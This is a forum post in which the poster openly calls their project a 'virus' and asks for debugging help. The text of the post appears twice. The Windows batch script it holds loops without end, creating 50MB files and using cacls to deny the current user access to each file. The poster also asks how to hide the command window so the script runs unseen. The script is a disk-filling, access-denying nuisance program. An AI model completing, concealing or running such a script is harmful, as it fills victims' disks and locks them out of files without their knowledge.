Need help troubleshooting!
Posted: 19 Dec 2014 12:22
Hi,
I'm basically looking to create a file which creates a certain number of files (which are all around 50MB in size) and then use the cacls command to deny the current user access to the file. I'm on Windows 8.1 and just to be clear, this is intended to be a virus BUT more than anything it's just a way of testing my coding skills (someone requested for me to do this).
This is how it's looking so far, the problem occurs when it comes to the cacls part of the file, the initial creation of the file is no problem:
Ideally I would also love to have a way to hide the cmd window itself (although i'm not sure if this is possible or not)
Thanks in advance,
callumkm
I'm basically looking to create a file which creates a certain number of files (which are all around 50MB in size) and then use the cacls command to deny the current user access to the file. I'm on Windows 8.1 and just to be clear, this is intended to be a virus BUT more than anything it's just a way of testing my coding skills (someone requested for me to do this).
This is how it's looking so far, the problem occurs when it comes to the cacls part of the file, the initial creation of the file is no problem:
@echo off
set counter=0
:loop
set /a counter=counter+1
fsutil file createnew FILE%counter%.txt 52428800
cacls %__cd__%/FILE%counter%.txt /p %username%:n
pause
goto loop
Ideally I would also love to have a way to hide the cmd window itself (although i'm not sure if this is possible or not)
Thanks in advance,
callumkm